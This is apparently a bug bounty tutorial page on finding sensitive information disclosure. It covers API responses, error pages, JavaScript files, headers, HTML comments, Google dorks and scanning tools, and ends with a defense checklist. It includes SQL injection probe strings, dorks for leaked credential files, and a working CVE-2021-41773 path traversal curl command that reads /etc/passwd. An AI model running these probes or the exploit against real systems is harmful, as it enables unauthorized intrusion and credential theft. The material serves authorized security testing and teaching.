Sensitive Information Disclosure —
Complete Bug Bounty Guide 2026
Sensitive Information Disclosure is the #1 enabler of all other attacks. Leaked API keys, credentials, stack traces, and source code all become stepping stones to Critical exploits. This guide covers every type with real working techniques.
🔍 What is Sensitive Information Disclosure?
Sensitive Information Disclosure occurs when an application unintentionally reveals confidential data to unauthorized users. It is a broad family of leaks covering API responses, error messages, JavaScript files, HTTP headers, HTML comments, log files, and misconfigured storage.
Sensitive Information Disclosure — API, JS, headers, error pages all leak data
Sensitive Information Disclosure is the #1 enabler of other attacks. A leaked database password enables direct DB access. A leaked API key enables service abuse. A stack trace reveals the exact framework version, enabling targeted CVE exploits. Every disclosed piece is a stepping stone.
A website shows you an error: “Error in /var/www/html/config/db.php line 42 — password: admin123”. That message leaked a file path AND a database password. Or an API returns 50 fields when the UI only shows 5 — those hidden 45 fields often include password_hash, 2fa_secret, and api_key. That is Sensitive Information Disclosure.
📂 12 Types of Sensitive Information Disclosure
📊 Sensitive Information Disclosure — Quick Reference
| Field | Details |
|---|---|
| Vulnerability | Sensitive Information Disclosure |
| Also Known As | Information Leakage, Data Exposure, Excessive Data Exposure, API3:2023 BOPLA |
| OWASP | A02: Cryptographic Failures | A05: Security Misconfiguration |
| CVE Score | 3.0 – 9.8 (depends on what is disclosed) |
| Severity | Low → Critical (leaked DB password or API key = Critical) |
| Root Cause | Debug mode on in production; no output filtering; secrets in git; open cloud buckets |
| Where to Check | API responses, error pages, JS files, HTTP headers, HTML source, log files, git repos, cloud buckets |
| Best Tools | Burp Suite, nuclei, gitleaks, truffleHog, waybackurls, gau, katana, Google Dorks, Shodan |
| Practice Labs | PortSwigger Web Academy, HackTheBox, TryHackMe, DVWA |
| Difficulty | Beginner (finding) → Intermediate (chaining) |
| Key Rule | Never report alone if you can chain it — leaked creds → show login, leaked key → show API call |
| Related Vulns | Forced Browsing, BOPLA, Vertical Privilege Escalation |
🧠 Manual Testing — Sensitive Information Disclosure
The UI shows you what the developer wants you to see. Burp shows you what the server actually sends. These are often very different. Every response, every header, every JS file is a potential disclosure.
Phase 1 — API Response Analysis
password, hash, token, secret, key, internal, admin.# UI shows: Name + Email only # API actually returns ALL of this: { "name": "Devashish", "email": "dev@test.com", "password_hash": "$2b$10$abc...xyz", ← CRITICAL "password_reset_token": "abc123def456", ← CRITICAL "2fa_secret": "JBSWY3DPEHPK3PXP", ← CRITICAL "api_key": "sk-live-xxxxxxxxxxxxx", ← CRITICAL "is_admin": false, ← HIGH "internal_notes": "VIP - waive all fees" ← MEDIUM }
Phase 2 — Trigger Error States
# Malformed JSON POST /api/login body: {invalid json} # SQL characters GET /api/users?id=' GET /search?q=test' OR 1=1-- # Type mismatch (expects integer, send string) GET /api/users/abc # Empty required field POST /api/login body: {"email": "", "password": ""} # Wrong Content-Type on JSON endpoint Content-Type: text/plain
# BAD — information disclosure: HTTP/1.1 500 Internal Server Error { "error": "SyntaxError at /var/www/html/api/login.js:42", "query": "SELECT * FROM users WHERE email = \"test\"", "dbhost": "mysql://admin:password123@db.internal:3306" } # GOOD — generic error (properly configured): HTTP/1.1 500 Internal Server Error {"error": "An internal error occurred. Please try again."}
Phase 3 — JavaScript File Analysis
.js. Use Ctrl+F in DevTools Sources. Search for: apiKey, secret, password, token, AWS_, STRIPE_.# Download and grep all JS files wget -r -A.js https://target.com/static/ -P ./js/ grep -ri 'apikey\|secret\|password\|token\|aws' ./js/ # Automated with katana katana -u https://target.com -jc \ | grep -iE 'key|secret|token|password' # What you find in real apps: const config = { apiKey: "AIzaSyB-xxxxxxxxxxxxxxxxxxxxxx", stripeKey: "sk_live_xxxxxxxxxxxxxxx", dbPassword: "SuperSecret@123" }
Phase 4 — HTTP Header Inspection
curl -I https://target.com # Dangerous disclosing headers: Server: Apache/2.4.49 ← CVE-2021-41773 → RCE! X-Powered-By: PHP/7.2.34 ← PHP version → CVEs X-Backend-Server: app-server-03 ← internal hostname X-Debug-Info: user_id=1,role=admin ← debug leak! X-Forwarded-For: 10.0.0.1 ← internal IP range
Phase 5 — HTML Comment Analysis
# Browser: Ctrl+U or view-source:https://target.com # Search for: <!-- # Real examples found in production apps: <!-- TODO: remove hardcoded admin password: Admin@123 --> <!-- dev db: mysql://dev:pass@192.168.1.100/devdb --> <!-- API endpoint: /api/internal/admin-only --> # Automate: curl -s https://target.com | grep -o '<!--[^-]*-->'
🔎 Google Dorks for Sensitive Information Disclosure
Google often indexes sensitive files before developers notice. These dorks find real leaked data in under 5 minutes. Replace target.com with your target domain.
| Google Dork | What It Finds |
|---|---|
| site:target.com filetype:sql | Database dump files indexed by Google |
| site:target.com filetype:env | .env files with credentials exposed |
| site:target.com filetype:log | Log files with sensitive operations |
| site:target.com “password” filetype:txt | Text files containing passwords |
| site:target.com inurl:config | Configuration files and admin pages |
| site:github.com “target.com” password | Leaked credentials in GitHub repos |
| site:github.com “target.com” api_key | Leaked API keys committed to GitHub |
| site:github.com “target.com” DB_PASSWORD | Database credentials in GitHub commits |
| site:pastebin.com “target.com” | Data dumps and leaked configs on Pastebin |
| “target.com” “index of” “parent directory” | Open directory listings exposing files |
🤖 Best Tools for Finding Information Disclosure
Target → Site Map → Search → "password"
nuclei -u URL -t exposures/ -t misconfiguration/
gitleaks detect --source=./repo/ --verbose
trufflehog git https://github.com/target/repo
waybackurls target.com | grep -E '.sql|.env'
katana -u URL -jc -d 5
🔥 Burp Suite — Information Disclosure Guide
password, secret, token, api_key, hash, debug, SQL, 192.168. Each hit = potential finding.Server:, X-Powered-By:, X-Backend-Server:. Any version info → run searchsploit immediately for CVEs.💣 Advanced Techniques
Version Disclosure → CVE → RCE
# Step 1: Find version in header Server: Apache/2.4.49 # Step 2: Look up CVE searchsploit apache 2.4.49 # CVE-2021-41773 → Path Traversal + RCE # Step 3: Exploit curl --path-as-is \ "https://target.com/cgi-bin/.%2e/.%2e/.%2e/etc/passwd" # root:x:0:0:root:/root:/bin/bash ← Server compromised
Find Secrets in Minified JavaScript
# Un-minify for readability npm install -g js-beautify js-beautify minified.js > readable.js # Find high-entropy strings (likely API keys) cat readable.js | grep -oE '[A-Za-z0-9+/]{40,}' # truffleHog automated trufflehog filesystem ./js/ --only-verified
Wayback Machine — Historical Leaks
# Find historically exposed sensitive files waybackurls target.com \ | grep -E '\.(sql|env|log|bak|config|pem|key)' # Check old JS files for embedded secrets waybackurls target.com | grep '\.js$' | head -20 \ | xargs -I{} sh -c \ 'echo "=== {} ==="; curl -s {} | grep -i apiKey'
🔗 Real Bug Chains — Sensitive Information Disclosure
🛡️ Defense Against Sensitive Information Disclosure
Disable debug mode in production. Filter all API responses with DTOs. Scan git before pushing. Harden all HTTP headers. Set proper cloud bucket policies.
# Django — disable debug mode DEBUG = False # production settings.py # Express.js — remove version headers app.set('x-powered-by', false) app.use(helmet()) # Nginx — hide server version server_tokens off; # .gitignore — prevent committing secrets .env *.pem *.key *.sql config/secrets.yml
☑ Set DEBUG=False in all production environments
☑ Use DTOs — whitelist API response fields, never return full DB model
☑ Run gitleaks in CI/CD pipeline before every push
☑ Use secrets management (AWS Secrets Manager, HashiCorp Vault)
☑ Add security headers: X-Content-Type-Options, X-Frame-Options, CSP
☑ Set proper access control policies on all S3/GCS/Azure buckets
☑ Generic error messages in production — no stack traces, no file paths
🔗 PortSwigger — Information Disclosure Labs
🔗 OWASP Web Security Testing Guide
🔗 gitleaks — Secret Scanner on GitHub
🔗 GrayhatWarfare — Public Cloud Bucket Search
📖 Forced Browsing — Complete Bug Bounty Guide
📖 BOPLA — Excessive Data Exposure Guide
📖 Vertical Privilege Escalation Guide
📖 IDOR — Insecure Direct Object Reference
🧠 Key Takeaways — Sensitive Information Disclosure
- Sensitive Information Disclosure is the #1 enabler of all other attacks — treat every leak as a stepping stone
- Always check raw API responses in Burp — the UI hides fields, the API returns everything
- Trigger EVERY error state — malformed JSON, SQL chars, wrong types, oversized inputs
- Read EVERY JavaScript file — search for
apiKey,secret,password,token,AWS_ - Check EVERY response header —
Server:andX-Powered-By:reveal exact versions for CVE targeting - View-source on EVERY page — developers leave passwords and endpoints in HTML comments
- Google dork the target before scanning — indexed leaks take 5 minutes to find and pay Criticals
- GitHub search finds more secrets in 5 minutes than a 6-hour automated scan
- Server version + searchsploit can become an RCE chain — always escalate disclosures
- Never report information disclosure alone if you can chain it — show full impact for maximum bounty
Server version header = Low/Info. Leaked session token = Critical. DB password = Critical. API key = Critical. The same vulnerability class has wildly different severities. Always ask: what can I DO with this information? Demonstrate the chain — that is what maximises your bounty.

